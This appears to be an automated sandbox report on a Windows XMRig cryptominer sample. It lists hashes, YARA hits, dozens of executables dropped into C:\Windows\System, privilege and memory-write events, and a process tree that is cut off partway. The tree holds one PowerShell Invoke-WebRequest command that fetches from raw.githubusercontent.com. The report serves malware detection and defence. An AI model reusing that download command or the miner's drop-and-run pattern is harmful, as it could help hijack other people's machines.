xmrig | 81da36d498d483a5c5de4d6de7f258c63132ac8e1de0628dab7f8ed9e1301364

Analysis

max time kernel
44s
max time network
45s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2024 10:14

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
Size

1.9MB
MD5

0994d3c9426828e4e67ba3a47c47cae1
SHA1

24c0a69a4faec0c7308ab6ea4eb2690f3a6395d6
SHA256

81da36d498d483a5c5de4d6de7f258c63132ac8e1de0628dab7f8ed9e1301364
SHA512

19dfdd8d023d46070c2cc51007824f18a962f96fefdecfd0354de7cf849258786b2eb63a4603452ca995b4550135e23eaa056c6bf77bf4cbac8dfdb553e3d4ae
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1G:NABN

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 34 IoCs

miner

resource	yara_rule
behavioral2/memory/3840-228-0x00007FF68F8B0000-0x00007FF68FCA2000-memory.dmp	xmrig
behavioral2/memory/3012-247-0x00007FF7384F0000-0x00007FF7388E2000-memory.dmp	xmrig
behavioral2/memory/736-280-0x00007FF7109B0000-0x00007FF710DA2000-memory.dmp	xmrig
behavioral2/memory/4980-294-0x00007FF7BEEE0000-0x00007FF7BF2D2000-memory.dmp	xmrig
behavioral2/memory/3124-300-0x00007FF7FF380000-0x00007FF7FF772000-memory.dmp	xmrig
behavioral2/memory/4108-302-0x00007FF69E960000-0x00007FF69ED52000-memory.dmp	xmrig
behavioral2/memory/3448-301-0x00007FF6F3910000-0x00007FF6F3D02000-memory.dmp	xmrig
behavioral2/memory/4340-299-0x00007FF71AAF0000-0x00007FF71AEE2000-memory.dmp	xmrig
behavioral2/memory/2204-298-0x00007FF719070000-0x00007FF719462000-memory.dmp	xmrig
behavioral2/memory/1332-297-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	xmrig
behavioral2/memory/4900-296-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	xmrig
behavioral2/memory/916-295-0x00007FF78A160000-0x00007FF78A552000-memory.dmp	xmrig
behavioral2/memory/1756-293-0x00007FF6E6810000-0x00007FF6E6C02000-memory.dmp	xmrig
behavioral2/memory/3600-292-0x00007FF7488E0000-0x00007FF748CD2000-memory.dmp	xmrig
behavioral2/memory/4464-291-0x00007FF74D570000-0x00007FF74D962000-memory.dmp	xmrig
behavioral2/memory/5116-200-0x00007FF61DE50000-0x00007FF61E242000-memory.dmp	xmrig
behavioral2/memory/3364-147-0x00007FF6B61F0000-0x00007FF6B65E2000-memory.dmp	xmrig
behavioral2/memory/1456-144-0x00007FF72BB00000-0x00007FF72BEF2000-memory.dmp	xmrig
behavioral2/memory/3080-117-0x00007FF75D6F0000-0x00007FF75DAE2000-memory.dmp	xmrig
behavioral2/memory/4044-83-0x00007FF730300000-0x00007FF7306F2000-memory.dmp	xmrig
behavioral2/memory/3128-21-0x00007FF7BC2E0000-0x00007FF7BC6D2000-memory.dmp	xmrig
behavioral2/memory/3124-4891-0x00007FF7FF380000-0x00007FF7FF772000-memory.dmp	xmrig
behavioral2/memory/5116-4912-0x00007FF61DE50000-0x00007FF61E242000-memory.dmp	xmrig
behavioral2/memory/736-4935-0x00007FF7109B0000-0x00007FF710DA2000-memory.dmp	xmrig
behavioral2/memory/3080-4929-0x00007FF75D6F0000-0x00007FF75DAE2000-memory.dmp	xmrig
behavioral2/memory/3840-4927-0x00007FF68F8B0000-0x00007FF68FCA2000-memory.dmp	xmrig
behavioral2/memory/4464-4944-0x00007FF74D570000-0x00007FF74D962000-memory.dmp	xmrig
behavioral2/memory/3448-4962-0x00007FF6F3910000-0x00007FF6F3D02000-memory.dmp	xmrig
behavioral2/memory/1332-5081-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	xmrig
behavioral2/memory/4900-5011-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	xmrig
behavioral2/memory/4108-5004-0x00007FF69E960000-0x00007FF69ED52000-memory.dmp	xmrig
behavioral2/memory/1756-4999-0x00007FF6E6810000-0x00007FF6E6C02000-memory.dmp	xmrig
behavioral2/memory/916-4989-0x00007FF78A160000-0x00007FF78A552000-memory.dmp	xmrig
behavioral2/memory/4980-4968-0x00007FF7BEEE0000-0x00007FF7BF2D2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
3128	ZQjpHcO.exe
4044	whFcCPE.exe
3080	UTqtXbM.exe
1456	ZUDaewE.exe
3124	ngjJOlI.exe
3364	ykLhPqW.exe
5116	RxexOwZ.exe
3840	RZDGlWc.exe
3012	JjSjTDF.exe
736	DOOzLLZ.exe
4464	RMgVVAk.exe
3448	FIvkQzB.exe
3600	zyGnagh.exe
1756	MHlwKuy.exe
4108	ilqukcF.exe
4980	oJIqsMQ.exe
916	XbUgNzW.exe
4900	HvMWhct.exe
1332	rZPLdSH.exe
2204	dXngGth.exe
4340	hopZJSz.exe
2188	MHDnuia.exe
1368	PisclJb.exe
3144	tTeDnJW.exe
2820	ozzsFXh.exe
3904	qBVNpmt.exe
2160	ysGZYQd.exe
2192	ycWwSuX.exe
3404	nFcNsRm.exe
4988	lMxkNig.exe
3392	MsVbIjR.exe
4644	NZxaUss.exe
3584	TOAFWIA.exe
1952	EvmFgOn.exe
1496	qmFwEzq.exe
5068	IszEjgW.exe
1816	GRVTUUZ.exe
2168	cLewTlb.exe
2484	fIbQsPX.exe
3176	xjRqYpF.exe
4724	rIWCzff.exe
4516	cWHLDJS.exe
3932	EfRCKto.exe
2396	vBVYrXj.exe
1484	AARFmOp.exe
4840	MrZqFdI.exe
1384	ogcqdeb.exe
5028	OqKHKfW.exe
4332	cVkyNKB.exe
3616	hiNGKaB.exe
5000	ZXVwaVm.exe
3980	JMWJtKy.exe
2580	LYxjAje.exe
2496	AktwlZW.exe
3064	xdPLWHT.exe
3516	rnpJEVL.exe
3212	CruEsAU.exe
2776	ioXatjO.exe
1832	xzsdsBu.exe
1860	zqDorzT.exe
1664	ZuWshHe.exe
3752	vYkjCcC.exe
4132	DjFQiha.exe
4376	wDRFrBa.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4312-0-0x00007FF65A1C0000-0x00007FF65A5B2000-memory.dmp	upx
behavioral2/files/0x000c000000023b9f-5.dat	upx
behavioral2/files/0x000a000000023bad-18.dat	upx
behavioral2/files/0x000a000000023baf-22.dat	upx
behavioral2/files/0x000a000000023bac-37.dat	upx
behavioral2/files/0x000a000000023bb7-75.dat	upx
behavioral2/files/0x000a000000023bb3-76.dat	upx
behavioral2/files/0x0031000000023bbd-108.dat	upx
behavioral2/files/0x000a000000023bce-202.dat	upx
behavioral2/memory/3840-228-0x00007FF68F8B0000-0x00007FF68FCA2000-memory.dmp	upx
behavioral2/memory/3012-247-0x00007FF7384F0000-0x00007FF7388E2000-memory.dmp	upx
behavioral2/memory/736-280-0x00007FF7109B0000-0x00007FF710DA2000-memory.dmp	upx
behavioral2/memory/4980-294-0x00007FF7BEEE0000-0x00007FF7BF2D2000-memory.dmp	upx
behavioral2/memory/3124-300-0x00007FF7FF380000-0x00007FF7FF772000-memory.dmp	upx
behavioral2/memory/4108-302-0x00007FF69E960000-0x00007FF69ED52000-memory.dmp	upx
behavioral2/memory/3448-301-0x00007FF6F3910000-0x00007FF6F3D02000-memory.dmp	upx
behavioral2/memory/4340-299-0x00007FF71AAF0000-0x00007FF71AEE2000-memory.dmp	upx
behavioral2/memory/2204-298-0x00007FF719070000-0x00007FF719462000-memory.dmp	upx
behavioral2/memory/1332-297-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	upx
behavioral2/memory/4900-296-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	upx
behavioral2/memory/916-295-0x00007FF78A160000-0x00007FF78A552000-memory.dmp	upx
behavioral2/memory/1756-293-0x00007FF6E6810000-0x00007FF6E6C02000-memory.dmp	upx
behavioral2/memory/3600-292-0x00007FF7488E0000-0x00007FF748CD2000-memory.dmp	upx
behavioral2/memory/4464-291-0x00007FF74D570000-0x00007FF74D962000-memory.dmp	upx
behavioral2/memory/5116-200-0x00007FF61DE50000-0x00007FF61E242000-memory.dmp	upx
behavioral2/files/0x000a000000023bc3-196.dat	upx
behavioral2/files/0x0031000000023bbf-191.dat	upx
behavioral2/files/0x000a000000023bcc-188.dat	upx
behavioral2/files/0x000a000000023bcb-183.dat	upx
behavioral2/files/0x000a000000023bc0-176.dat	upx
behavioral2/files/0x0031000000023bbe-169.dat	upx
behavioral2/files/0x000b000000023bbc-165.dat	upx
behavioral2/files/0x000a000000023bca-162.dat	upx
behavioral2/files/0x000a000000023bc8-160.dat	upx
behavioral2/files/0x000a000000023bc9-157.dat	upx
behavioral2/files/0x000a000000023bc4-153.dat	upx
behavioral2/files/0x000a000000023bc7-152.dat	upx
behavioral2/files/0x000a000000023bc2-197.dat	upx
behavioral2/files/0x000a000000023bb8-150.dat	upx
behavioral2/memory/3364-147-0x00007FF6B61F0000-0x00007FF6B65E2000-memory.dmp	upx
behavioral2/files/0x000a000000023bcd-194.dat	upx
behavioral2/memory/1456-144-0x00007FF72BB00000-0x00007FF72BEF2000-memory.dmp	upx
behavioral2/files/0x000a000000023bc6-143.dat	upx
behavioral2/files/0x000a000000023bc1-177.dat	upx
behavioral2/files/0x000a000000023bc5-135.dat	upx
behavioral2/files/0x000a000000023bba-124.dat	upx
behavioral2/files/0x000a000000023bb9-121.dat	upx
behavioral2/memory/3080-117-0x00007FF75D6F0000-0x00007FF75DAE2000-memory.dmp	upx
behavioral2/files/0x000a000000023bb5-93.dat	upx
behavioral2/files/0x000a000000023bb2-91.dat	upx
behavioral2/memory/4044-83-0x00007FF730300000-0x00007FF7306F2000-memory.dmp	upx
behavioral2/files/0x000a000000023bb4-80.dat	upx
behavioral2/files/0x000a000000023bb6-64.dat	upx
behavioral2/files/0x000a000000023bb1-59.dat	upx
behavioral2/files/0x000a000000023bae-47.dat	upx
behavioral2/files/0x000a000000023bb0-43.dat	upx
behavioral2/files/0x000b000000023bab-26.dat	upx
behavioral2/memory/3128-21-0x00007FF7BC2E0000-0x00007FF7BC6D2000-memory.dmp	upx
behavioral2/memory/3124-4891-0x00007FF7FF380000-0x00007FF7FF772000-memory.dmp	upx
behavioral2/memory/5116-4912-0x00007FF61DE50000-0x00007FF61E242000-memory.dmp	upx
behavioral2/memory/736-4935-0x00007FF7109B0000-0x00007FF710DA2000-memory.dmp	upx
behavioral2/memory/3080-4929-0x00007FF75D6F0000-0x00007FF75DAE2000-memory.dmp	upx
behavioral2/memory/3840-4927-0x00007FF68F8B0000-0x00007FF68FCA2000-memory.dmp	upx
behavioral2/memory/4464-4944-0x00007FF74D570000-0x00007FF74D962000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\IIIlFdx.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\YubSIfL.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\dJCuXBs.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\TOAFWIA.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\mOXFsWw.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\IaglGLe.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\afenFCH.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\WDdPvaD.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\wDRFrBa.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\NYNhiKR.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\MibGHLi.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\FTPVRVc.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\XpntIOi.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\oWzEpEd.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\ezSPkMi.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\gFfWtuC.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\FucdYlL.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\UjuZioO.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\whFcCPE.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\lblfAMv.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\OCJqyHt.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\vVdDYko.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\KTUtUkO.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\nIAdBkn.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\jxvdGWx.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\TJavCiw.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\AOhxeYe.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\IOBhAty.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\dAetVDF.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\UeOUoPO.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\yONkURE.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\MEujhIi.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\MsVbIjR.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\TAXijxO.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\ayEIWPC.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\duuGwFm.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\rprhIno.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\GzGcDSz.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\bNyzyDr.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\EhsvXEM.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\tNhkgIs.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\YINjJRF.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\EtdLIDz.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\uFHqyFD.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\yncsIJt.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\ZfCmSOT.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\XLdEDJy.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\QqtShrC.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\cePoxsz.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\kOGbQrQ.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\CMITjlt.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\QSApbWc.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\OyaqGch.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\wWunHie.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\vyfawYG.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\LATtXYR.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\UTqtXbM.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\htHwvOO.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\jZlDExU.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\PcxRTuW.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\xABVibQ.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\GtTBvrV.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\lilaLlN.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
File created	C:\Windows\System\TjDkxrR.exe	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe
4940	powershell.exe
4940	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
Token: SeDebugPrivilege	4940	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 4940	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	86
PID 4312 wrote to memory of 4940	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	86
PID 4312 wrote to memory of 3128	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	87
PID 4312 wrote to memory of 3128	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	87
PID 4312 wrote to memory of 4044	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	88
PID 4312 wrote to memory of 4044	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	88
PID 4312 wrote to memory of 3080	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	89
PID 4312 wrote to memory of 3080	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	89
PID 4312 wrote to memory of 1456	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	90
PID 4312 wrote to memory of 1456	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	90
PID 4312 wrote to memory of 3364	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	91
PID 4312 wrote to memory of 3364	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	91
PID 4312 wrote to memory of 3124	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	92
PID 4312 wrote to memory of 3124	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	92
PID 4312 wrote to memory of 5116	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	93
PID 4312 wrote to memory of 5116	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	93
PID 4312 wrote to memory of 3840	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	94
PID 4312 wrote to memory of 3840	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	94
PID 4312 wrote to memory of 3012	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	95
PID 4312 wrote to memory of 3012	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	95
PID 4312 wrote to memory of 736	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	96
PID 4312 wrote to memory of 736	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	96
PID 4312 wrote to memory of 4464	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	97
PID 4312 wrote to memory of 4464	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	97
PID 4312 wrote to memory of 3448	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	98
PID 4312 wrote to memory of 3448	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	98
PID 4312 wrote to memory of 3600	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	99
PID 4312 wrote to memory of 3600	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	99
PID 4312 wrote to memory of 1756	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	100
PID 4312 wrote to memory of 1756	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	100
PID 4312 wrote to memory of 4108	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	101
PID 4312 wrote to memory of 4108	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	101
PID 4312 wrote to memory of 4980	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	102
PID 4312 wrote to memory of 4980	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	102
PID 4312 wrote to memory of 916	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	103
PID 4312 wrote to memory of 916	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	103
PID 4312 wrote to memory of 4900	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	104
PID 4312 wrote to memory of 4900	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	104
PID 4312 wrote to memory of 1332	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	105
PID 4312 wrote to memory of 1332	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	105
PID 4312 wrote to memory of 2204	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	106
PID 4312 wrote to memory of 2204	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	106
PID 4312 wrote to memory of 4340	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	107
PID 4312 wrote to memory of 4340	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	107
PID 4312 wrote to memory of 2188	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	108
PID 4312 wrote to memory of 2188	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	108
PID 4312 wrote to memory of 1368	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	109
PID 4312 wrote to memory of 1368	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	109
PID 4312 wrote to memory of 3144	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	110
PID 4312 wrote to memory of 3144	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	110
PID 4312 wrote to memory of 2820	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	111
PID 4312 wrote to memory of 2820	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	111
PID 4312 wrote to memory of 3904	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	112
PID 4312 wrote to memory of 3904	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	112
PID 4312 wrote to memory of 2160	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	113
PID 4312 wrote to memory of 2160	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	113
PID 4312 wrote to memory of 2192	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	114
PID 4312 wrote to memory of 2192	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	114
PID 4312 wrote to memory of 3404	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	115
PID 4312 wrote to memory of 3404	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	115
PID 4312 wrote to memory of 4988	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	116
PID 4312 wrote to memory of 4988	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	116
PID 4312 wrote to memory of 3392	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	117
PID 4312 wrote to memory of 3392	4312	0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe	117

C:\Users\Admin\AppData\Local\Temp\0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0994d3c9426828e4e67ba3a47c47cae1_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\System\ZQjpHcO.exe
  C:\Windows\System\ZQjpHcO.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\whFcCPE.exe
  C:\Windows\System\whFcCPE.exe
  2⤵
  - Executes dropped EXE
  PID:4044
- C:\Windows\System\UTqtXbM.exe
  C:\Windows\System\UTqtXbM.exe
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\Windows\System\ZUDaewE.exe
  C:\Windows\System\ZUDaewE.exe
  2⤵
  - Executes dropped EXE
  PID:1456
- C:\Windows\System\ykLhPqW.exe
  C:\Windows\System\ykLhPqW.exe
  2⤵
  - Executes dropped EXE
  PID:3364
- C:\Windows\System\ngjJOlI.exe
  C:\Windows\System\ngjJOlI.exe
  2⤵
  - Executes dropped EXE
  PID:3124
- C:\Windows\System\RxexOwZ.exe
  C:\Windows\System\RxexOwZ.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\RZDGlWc.exe
  C:\Windows\System\RZDGlWc.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\JjSjTDF.exe
  C:\Windows\System\JjSjTDF.exe
  2⤵
  - Executes dropped EXE
  PID:3012
- C:\Windows\System\DOOzLLZ.exe
  C:\Windows\System\DOOzLLZ.exe
  2⤵
  - Executes dropped EXE
  PID:736
- C:\Windows\System\RMgVVAk.exe
  C:\Windows\System\RMgVVAk.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\FIvkQzB.exe
  C:\Windows\System\FIvkQzB.exe
  2⤵
  - Executes dropped EXE
  PID:3448
- C:\Windows\System\zyGnagh.exe
  C:\Windows\System\zyGnagh.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\System\MHlwKuy.exe
  C:\Windows\System\MHlwKuy.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\ilqukcF.exe
  C:\Windows\System\ilqukcF.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- C:\Windows\System\oJIqsMQ.exe
  C:\Windows\System\oJIqsMQ.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\XbUgNzW.exe
  C:\Windows\System\XbUgNzW.exe
  2⤵
  - Executes dropped EXE
  PID:916
- C:\Windows\System\HvMWhct.exe
  C:\Windows\System\HvMWhct.exe
  2⤵
  - Executes dropped EXE
  PID:4900
- C:\Windows\System\rZPLdSH.exe
  C:\Windows\System\rZPLdSH.exe
  2⤵
  - Executes dropped EXE
  PID:1332
- C:\Windows\System\dXngGth.exe
  C:\Windows\System\dXngGth.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\hopZJSz.exe
  C:\Windows\System\hopZJSz.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\MHDnuia.exe
